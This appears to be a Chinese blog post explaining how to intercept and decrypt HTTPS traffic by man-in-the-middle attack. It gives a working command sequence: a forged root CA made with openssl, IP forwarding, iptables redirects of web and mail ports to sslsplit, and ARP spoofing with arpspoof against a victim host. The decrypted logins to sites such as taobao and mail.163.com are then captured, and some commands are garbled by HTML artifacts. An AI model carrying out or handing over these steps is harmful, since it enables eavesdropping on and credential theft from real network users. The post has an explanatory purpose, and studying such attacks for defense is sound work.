logo

中间人攻击SSL加密流量


蜜蜂虚心
蜜蜂虚心 2022-09-26 14:31:37 13215
分类专栏: 资讯

中间人劫持https加密流量,对其进行解密查看明文内容。

原理:终端发送流量经过路由转发,流量被中间人劫持,直到中间人放回给服务器(中间人需具备与服务器端看起来差不多的条件)

攻击者位于客户端和服务器通信链路中进行的攻击方式:

1、ARP欺骗:(把中间人的mac地址当作网关,从而让流量流经中间人(伪造证书、解密加密信息等操作))——>欺骗终端设备,让网关误认为是中间人,从而得到流量。

2、DHCP:(动态主机配置协议,自动分配ip地址)
举例:假使客户端与攻击者在同一网段下,攻击者本地安装DHCP服务,一旦离客户端近,那么先响应攻击者的DHCP服务(从而分配网关、IP、DNS等),先响应向接纳。
3、修改网关

4、修改DNS

5、修改HOSTS

3、4、5方式不容易进行操作,当真正控制客户端主机,方才容易进行。

类似:ICMP、STP、OSPF协议(主要是通过攻击协议,让终端流量都经过攻击者电脑)

加密流量:将劫持的流量解密查看信息,再加密发给目标

攻击者发起攻击的前提:
1、客户端已经信任伪造证书颁发机构(服务器端的伪造根证书)
2、攻击者控制了核发证书颁发机构
3、客户端程序禁止了显示证书错误告警信息(客户端已完成)

只要不出现给客户端知晓的报错信息,那么客户端很难发现被中间人了。除非清楚服务器的证书是什么比对与服务器的公私钥交换情况


4、攻击者已经控制客户端,并强制其信  任伪造证书

下面举例说明攻击流程,以例子说明中间人攻击原理:

利用工具:Kali(sslsplit)、主机;Kali作为中间人攻击者,主机作为客户端。

说明:SSLsplit
1、透明SSL/TLS中间人攻击工具
2、对客户端伪装成服务器,对服务器伪装成普通客户端
3、伪装服务器需要伪造证书
4、支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

下面进行具体操作:

利用openssl生成证书私钥:

openssl genrsa -out ca.key 2048 

利用私钥签名生成根证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

对于真正使用中间人攻击,配置方面尽量真实

这里的ca.crt与ca.key分别为:私钥签名生成根证书、证书私钥

下面是具体内容以及设置证书时自己配置的相关的配置信息:

在根证书里面,存在的只是证书的公钥,到中间人端的私钥是我们自己生成的,也就是ca.key。

下面在kali上启动路由,并配置好相关的转发规则,转发规则只列举一些:

启动路由:

sysctl -w net.ipv4.ip_forward=1 

配置iprables端口转发规则:

  1. iptables -t nat -F(清空当前配置)
  2. iptables -t nat -L(查看当前配置)

先查看本地的443端口和80端口是否有开,有开结束掉,不让被占用。从而iptables会将流量引入到sslsplit端口,从而实现流量的解密。(本地又开的话,就会直接访问本机web站点)

  1. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 80 -j REDIRECT --to-ports 8080
  2. 对将80端口收到的流量发送给8080端口,8080设置为sslsplit从而解密到来的流量得到明文信息。
  3. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 443 -j REDIRECT --to-ports 8443
  4. 对将443端口收到的流量发送给8443端口,8443设置为sslsplit从而解密到来的流量得到信息。
  5. 再多举一些:
  6. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 587 -j REDIRECT --to-ports 8443 -selector-id">MSA
  7. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 465 -j REDIRECT --to-ports 8443 -selector-id">SMTPS
  8. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 993 -j REDIRECT --to-ports 8443 -selector-id">IMAPS
  9. iptables -t nat --selector-tag">A PREROUTING --selector-tag">p tcp --dport 995 -j REDIRECT --to-ports 8443 -selector-id">POP3S

当所有配置完成后,再来查看当前配置是否成功:

iptables -t nat -L

即如:

当所有都配置完成后,下面将再Kali上进行ARP的欺骗配置:

首先需要将Kali网卡配好,将客户端真实网关的mac地址配置为中间人(Kali)的网卡的mac地址:

  1. arpspoof --selector-tag">i eth0 -t 1.1.1.2 -r 1.1.1.1
  2. (-t接目标IP,-r接目标网关)

然后需要创建保存客户端流量的日志文件的目录,这里以:test/logdir作为例子,然后再开启侦听,读取客户端访问通过SSL加密的网站流量信息。

启动SSLsplot:

mkdir -p test/logdir

配置的时候遇到问题,是tool的错,所以建议自己手动新建。

侦听:

  1. sslsplit -operator">-D -operator">-l connect.log -operator">-j -operator">/root-operator">/test -operator">-S logdir-operator">/ -operator">-k ca.key -operator">-c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
  2. (启动80808443的侦听)

请求内容放在logdir内

网关的真实mac是上面的,当开启欺骗后,将会把网关mac变为中间人的网卡mac地址。

启动侦听:

当被害者访问taobao、百度、mail.163.com(有些http做了登陆过程用SSL加密但非全站https也会有证书错误告警),即经过SSL加密后的流量都会被记录下来,保存在logdir中,查看就能看到被解密出来的明文信息:

随便打开一个,可能没有信息,也不是经SSL加密的流量:

值得注意的是:

很多时候,中间人伪造的证书并不是特别精密的话,一般都会在浏览器上出现报错信息,查看日志和浏览器证书及证书报错信息,但当安装中间人生成的根证书之后再次访问,便不会报错。

当中间人劫持到加密流量后,本应全部解密为明文信息,可是有些登陆账号中密码仍为密文,主要是:在登陆输入密码那里会有一个控件,先对密码做了加密机制,在经过流量转发,所以尽管看到流量内内容,但密码仍是加密状态。

以上便是呈现中间人攻击原理的最好解释流程。

文章知识点与官方知识档案匹配,可进一步学习相关知识

网站声明:如果转载,请联系本站管理员。否则一切后果自行承担。

本文链接:http://www.xckfsq.com/news/show.html?id=10428
赞同 0
评论 0 条
蜜蜂虚心
粉丝 0 发表 5 + 关注 私信
上周热门
【广西信创】《2024年信息类产品框架协议采购(台式计算机)项目征集文件(征求意见稿)》  4054
展会邀请|中科信创与您相约2024中国(安徽)社会公共安全产品展览会  3616
明朝万达视频内容防泄漏引擎,为视频数据安全保驾护航  3454
2024 年全国大学生物联网设计竞赛(华为杯) 科技讲座  3334
技巧:Debian11下添加BHCexam.cls试卷文类的PDF手册  3320
培训通知丨第二期信创云计算工程师专项培训班开始招生啦!  3197
【活动资讯】2024全国高校走进信创企业研学活动在深召开  3076
企业数据安全防控升级保障!北信源UEBA系统打造全流程内部数据防泄露管理闭环  3053
招聘丨重庆公共运输职业学院招聘公告  3048
聚辰股份董事长陈作涛先生应邀参加中国战略管理学会第八届年会并做主题演讲  2988
本周热议
我的信创开放社区兼职赚钱历程 40
今天你签到了吗? 27
信创开放社区邀请他人注册的具体步骤如下 15
如何玩转信创开放社区—从小白进阶到专家 15
方德桌面操作系统 14
用抖音玩法闯信创开放社区——用平台宣传企业产品服务 13
我有15积分有什么用? 13
如何让你先人一步获得悬赏问题信息?(创作者必看) 12
2024中国信创产业发展大会暨中国信息科技创新与应用博览会 9
中央国家机关政府采购中心:应当将CPU、操作系统符合安全可靠测评要求纳入采购需求 8